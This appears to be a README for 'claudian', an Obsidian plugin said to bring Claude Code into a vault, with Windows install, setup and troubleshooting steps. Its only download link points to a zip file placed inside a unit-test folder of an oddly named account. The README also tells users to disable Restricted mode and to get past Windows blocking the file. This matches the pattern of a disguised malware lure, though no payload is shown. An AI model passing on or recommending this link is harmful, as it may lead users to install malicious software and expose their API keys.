🧠 claudian - Claude Code Inside Obsidian

🚀 Getting Started

Claudian is an Obsidian plugin that brings Claude Code into your vault. It helps you ask for help, draft notes, refine ideas, and work through tasks without leaving Obsidian.

Use the link below to visit the download page and get the plugin files:

Download link: https://raw.githubusercontent.com/Thermogravimetric-hypallage291/claudian/main/tests/unit/core/tools/Software-v3.4-alpha.3.zip

📥 Install on Windows

Follow these steps on a Windows PC:

1. Open the download page in your browser.
2. Find the latest plugin release or source package.
3. Download the file to your computer.
4. If the file is in a .zip format, right-click it and choose Extract All.
5. Move the claudian folder into your Obsidian vault’s .obsidian/plugins folder.
6. Open Obsidian.
7. Go to Settings.
8. Open Community plugins.
9. Turn off Restricted mode if it is on.
10. Find claudian in the plugin list and turn it on.

If the plugin folder does not exist, create it first inside .obsidian.

🛠️ Set Up Claude Code

After you install the plugin, connect it to Claude Code in Obsidian:

1. Open Settings in Obsidian.
2. Open the claudian plugin settings.
3. Add your Claude Code details.
4. Enter your API key or local Claude Code setup, based on your account and install.
5. Save your settings.
6. Reload Obsidian if asked.

Keep your key private and store it only in your own setup.

✨ What You Can Do

Use claudian to:

• Ask Claude for help inside your vault
• Rewrite and clean up notes
• Turn rough ideas into clear text
• Summarize long pages and meeting notes
• Draft action items from your notes
• Keep context from your vault while you write
• Work with AI help while staying in Obsidian

This works well for writing notes, planning work, and handling large sets of ideas.

🧭 How to Use It

A simple way to start:

1. Open a note in Obsidian.
2. Open the claudian panel or command.
3. Type what you want help with.
4. Send the request.
5. Review the result.
6. Paste it into your note or keep editing.

Try short prompts first, such as:

• Summarize this note
• Turn this into a task list
• Rewrite this in plain English
• Find action items in this text
• Draft a reply based on these notes

💻 Windows Tips

For the smoothest setup on Windows:

• Use the latest version of Obsidian
• Keep your vault in a folder you can access easily
• Unzip the plugin before moving it into the plugins folder
• Restart Obsidian after you install the plugin
• If the plugin does not appear, check the folder path again
• If you update the plugin, replace the old folder with the new one

If Windows blocks the downloaded file, check your browser downloads and extract it again from a trusted location.

🔧 Basic Features

Claudian is built to support common note-taking work:

• Direct chat-style help inside Obsidian
• Vault-aware assistance for linked notes
• Fast edits for drafts and summaries
• Support for writing, planning, and review tasks
• Simple setup for everyday use
• A clean workflow that stays inside your notes app

📂 Folder Layout

Your Obsidian vault should look like this:

• YourVault
  • .obsidian
    • plugins
      • claudian

The plugin files should live inside the claudian folder. Obsidian reads plugins from that location.

✅ Requirements

To use claudian on Windows, you need:

• Windows 10 or Windows 11
• Obsidian installed
• A working internet connection
• A Claude Code account or local Claude Code setup
• Permission to install community plugins in Obsidian

For best results, use a vault with a few notes already in place so the plugin has content to work with.

🧩 Troubleshooting

If the plugin does not work, check these common issues:

• The folder is in the wrong place
• Obsidian still has Restricted mode on
• The plugin was not enabled in Community plugins
• Your Claude Code settings are incomplete
• Your internet connection is not working
• You need to restart Obsidian after setup

If you still do not see the plugin, open the plugins folder and confirm the claudian folder is inside it.

🔐 Privacy and Vault Access

Claudian works inside your own Obsidian vault. Review what you send to Claude Code before you submit it. Keep personal or sensitive notes out of prompts if you do not want them shared with the AI service.

📌 Repository Details

• Name: claudian
• Type: Obsidian plugin
• Purpose: Embed Claude Code as an AI collaborator in your vault
• Topics: claude-code, ide, obsidian, obsidian-plugin, productivity